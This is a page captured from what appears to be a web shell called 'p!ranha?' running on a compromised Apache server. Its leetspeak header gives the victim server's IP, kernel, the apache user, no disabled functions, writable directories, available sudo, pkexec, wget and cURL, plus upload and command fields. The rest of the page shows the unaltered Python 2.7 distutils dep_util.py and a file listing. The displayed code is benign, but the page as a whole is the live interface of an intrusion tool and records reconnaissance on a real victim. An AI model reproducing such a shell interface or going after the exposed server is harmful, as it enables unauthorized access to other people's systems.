p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/distutils/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/distutils/dep_util.py
"""distutils.dep_util

Utility functions for simple, timestamp-based dependency of files
and groups of files; also, function based entirely on such
timestamp dependency analysis."""

__revision__ = "$Id$"

import os
from stat import ST_MTIME
from distutils.errors import DistutilsFileError

def newer(source, target):
    """Tells if the target is newer than the source.

    Return true if 'source' exists and is more recently modified than
    'target', or if 'source' exists and 'target' doesn't.

    Return false if both exist and 'target' is the same age or younger
    than 'source'. Raise DistutilsFileError if 'source' does not exist.

    Note that this test is not very accurate: files created in the same second
    will have the same "age".
    """
    if not os.path.exists(source):
        raise DistutilsFileError("file '%s' does not exist" %
                                 os.path.abspath(source))
    if not os.path.exists(target):
        return True

    return os.stat(source)[ST_MTIME] > os.stat(target)[ST_MTIME]

def newer_pairwise(sources, targets):
    """Walk two filename lists in parallel, testing if each source is newer
    than its corresponding target.  Return a pair of lists (sources,
    targets) where source is newer than target, according to the semantics
    of 'newer()'.
    """
    if len(sources) != len(targets):
        raise ValueError, "'sources' and 'targets' must be same length"

    # build a pair of lists (sources, targets) where  source is newer
    n_sources = []
    n_targets = []
    for source, target in zip(sources, targets):
        if newer(source, target):
            n_sources.append(source)
            n_targets.append(target)

    return n_sources, n_targets

def newer_group(sources, target, missing='error'):
    """Return true if 'target' is out-of-date with respect to any file
    listed in 'sources'.

    In other words, if 'target' exists and is newer
    than every file in 'sources', return false; otherwise return true.
    'missing' controls what we do when a source file is missing; the
    default ("error") is to blow up with an OSError from inside 'stat()';
    if it is "ignore", we silently drop any missing source files; if it is
    "newer", any missing source files make us assume that 'target' is
    out-of-date (this is handy in "dry-run" mode: it'll make you pretend to
    carry out commands that wouldn't work because inputs are missing, but
    that doesn't matter because you're not actually going to run the
    commands).
    """
    # If the target doesn't even exist, then it's definitely out-of-date.
    if not os.path.exists(target):
        return True

    # Otherwise we have to find out the hard way: if *any* source file
    # is more recent than 'target', then 'target' is out-of-date and
    # we can immediately return true.  If we fall through to the end
    # of the loop, then 'target' is up-to-date and we return false.
    target_mtime = os.stat(target)[ST_MTIME]

    for source in sources:
        if not os.path.exists(source):
            if missing == 'error':      # blow up when we stat() the file
                pass
            elif missing == 'ignore':   # missing source dropped from
                continue                #  target's dependency list
            elif missing == 'newer':    # missing source means target is
                return True             #  out-of-date

        if os.stat(source)[ST_MTIME] > target_mtime:
            return True

    return False
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
command
--
December 20 2023 04:52:59
0 / 0
0755
README
0.288 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.py
0.329 KB
November 14 2023 16:14:19
0 / 0
0644
__init__.pyc
0.376 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.pyo
0.376 KB
November 14 2023 16:14:41
0 / 0
0644
archive_util.py
7.639 KB
November 14 2023 16:14:19
0 / 0
0644
archive_util.pyc
7.281 KB
November 14 2023 16:14:41
0 / 0
0644
archive_util.pyo
7.281 KB
November 14 2023 16:14:41
0 / 0
0644
bcppcompiler.py
14.591 KB
November 14 2023 16:14:19
0 / 0
0644
bcppcompiler.pyc
7.697 KB
November 14 2023 16:14:41
0 / 0
0644
bcppcompiler.pyo
7.697 KB
November 14 2023 16:14:41
0 / 0
0644
ccompiler.py
45.54 KB
November 14 2023 16:14:19
0 / 0
0644
ccompiler.pyc
35.961 KB
November 14 2023 16:14:41
0 / 0
0644
ccompiler.pyo
35.823 KB
November 14 2023 16:14:43
0 / 0
0644
cmd.py
18.818 KB
November 14 2023 16:14:19
0 / 0
0644
cmd.pyc
16.41 KB
November 14 2023 16:14:41
0 / 0
0644
cmd.pyo
16.41 KB
November 14 2023 16:14:41
0 / 0
0644
config.py
4.033 KB
November 14 2023 16:14:19
0 / 0
0644
config.pyc
3.485 KB
November 14 2023 16:14:41
0 / 0
0644
config.pyo
3.485 KB
November 14 2023 16:14:41
0 / 0
0644
core.py
8.88 KB
November 14 2023 16:14:19
0 / 0
0644
core.pyc
7.495 KB
November 14 2023 16:14:41
0 / 0
0644
core.pyo
7.495 KB
November 14 2023 16:14:41
0 / 0
0644
cygwinccompiler.py
16.865 KB
November 14 2023 16:14:19
0 / 0
0644
cygwinccompiler.pyc
9.188 KB
November 14 2023 16:14:41
0 / 0
0644
cygwinccompiler.pyo
9.188 KB
November 14 2023 16:14:41
0 / 0
0644
debug.py
0.158 KB
November 14 2023 16:14:19
0 / 0
0644
debug.pyc
0.248 KB
November 14 2023 16:14:41
0 / 0
0644
debug.pyo
0.248 KB
November 14 2023 16:14:41
0 / 0
0644
dep_util.py
3.427 KB
November 14 2023 16:14:19
0 / 0
0644
dep_util.pyc
3.105 KB
November 14 2023 16:14:41
0 / 0
0644
dep_util.pyo
3.105 KB
November 14 2023 16:14:41
0 / 0
0644
dir_util.py
7.781 KB
November 14 2023 16:14:19
0 / 0
0644
dir_util.pyc
6.718 KB
November 14 2023 16:14:41
0 / 0
0644
dir_util.pyo
6.718 KB
November 14 2023 16:14:41
0 / 0
0644
dist.py
48.876 KB
November 14 2023 16:14:19
0 / 0
0644
dist.pyc
38.644 KB
November 14 2023 16:14:41
0 / 0
0644
dist.pyo
38.644 KB
November 14 2023 16:14:41
0 / 0
0644
emxccompiler.py
11.651 KB
November 14 2023 16:14:19
0 / 0
0644
emxccompiler.pyc
7.292 KB
November 14 2023 16:14:41
0 / 0
0644
emxccompiler.pyo
7.292 KB
November 14 2023 16:14:41
0 / 0
0644
errors.py
3.412 KB
November 14 2023 16:14:19
0 / 0
0644
errors.pyc
6.138 KB
November 14 2023 16:14:41
0 / 0
0644
errors.pyo
6.138 KB
November 14 2023 16:14:41
0 / 0
0644
extension.py
10.648 KB
November 14 2023 16:14:19
0 / 0
0644
extension.pyc
7.237 KB
November 14 2023 16:14:41
0 / 0
0644
extension.pyo
7.017 KB
November 14 2023 16:14:43
0 / 0
0644
fancy_getopt.py
17.527 KB
November 14 2023 16:14:19
0 / 0
0644
fancy_getopt.pyc
11.678 KB
November 14 2023 16:14:41
0 / 0
0644
fancy_getopt.pyo
11.505 KB
November 14 2023 16:14:43
0 / 0
0644
file_util.py
7.612 KB
November 14 2023 16:14:19
0 / 0
0644
file_util.pyc
6.471 KB
November 14 2023 16:14:41
0 / 0
0644
file_util.pyo
6.471 KB
November 14 2023 16:14:41
0 / 0
0644
filelist.py
12.392 KB
November 14 2023 16:14:19
0 / 0
0644
filelist.pyc
10.511 KB
November 14 2023 16:14:41
0 / 0
0644
filelist.pyo
10.511 KB
November 14 2023 16:14:41
0 / 0
0644
log.py
1.646 KB
November 14 2023 16:14:19
0 / 0
0644
log.pyc
2.721 KB
November 14 2023 16:14:41
0 / 0
0644
log.pyo
2.721 KB
November 14 2023 16:14:41
0 / 0
0644
msvc9compiler.py
30.291 KB
November 14 2023 16:14:19
0 / 0
0644
msvc9compiler.pyc
21.035 KB
November 14 2023 16:14:41
0 / 0
0644
msvc9compiler.pyo
20.964 KB
November 14 2023 16:14:43
0 / 0
0644
msvccompiler.py
23.083 KB
November 14 2023 16:14:19
0 / 0
0644
msvccompiler.pyc
17.112 KB
November 14 2023 16:14:41
0 / 0
0644
msvccompiler.pyo
17.112 KB
November 14 2023 16:14:41
0 / 0
0644
spawn.py
7.607 KB
November 14 2023 16:14:19
0 / 0
0644
spawn.pyc
6.022 KB
November 14 2023 16:14:41
0 / 0
0644
spawn.pyo
6.022 KB
November 14 2023 16:14:41
0 / 0
0644
sysconfig.py
16.521 KB
November 14 2023 16:14:24
0 / 0
0644
sysconfig.py.debug-build
16.42 KB
November 14 2023 16:14:19
0 / 0
0644
sysconfig.pyc
12.957 KB
November 14 2023 16:14:41
0 / 0
0644
sysconfig.pyo
12.957 KB
November 14 2023 16:14:41
0 / 0
0644
text_file.py
12.119 KB
November 14 2023 16:14:19
0 / 0
0644
text_file.pyc
9.027 KB
November 14 2023 16:14:41
0 / 0
0644
text_file.pyo
9.027 KB
November 14 2023 16:14:41
0 / 0
0644
unixccompiler.py
12.558 KB
November 14 2023 16:14:19
0 / 0
0644
unixccompiler.py.distutils-rpath
12.025 KB
November 14 2023 16:14:19
0 / 0
0644
unixccompiler.pyc
7.765 KB
November 14 2023 16:14:41
0 / 0
0644
unixccompiler.pyo
7.765 KB
November 14 2023 16:14:41
0 / 0
0644
util.py
18.284 KB
November 14 2023 16:14:19
0 / 0
0644
util.pyc
14.575 KB
November 14 2023 16:14:41
0 / 0
0644
util.pyo
14.575 KB
November 14 2023 16:14:41
0 / 0
0644
version.py
11.165 KB
November 14 2023 16:14:19
0 / 0
0644
version.pyc
7.039 KB
November 14 2023 16:14:41
0 / 0
0644
version.pyo
7.039 KB
November 14 2023 16:14:41
0 / 0
0644
versionpredicate.py
4.976 KB
November 14 2023 16:14:19
0 / 0
0644
versionpredicate.pyc
5.412 KB
November 14 2023 16:14:41
0 / 0
0644
versionpredicate.pyo
5.412 KB
November 14 2023 16:14:41
0 / 0
0644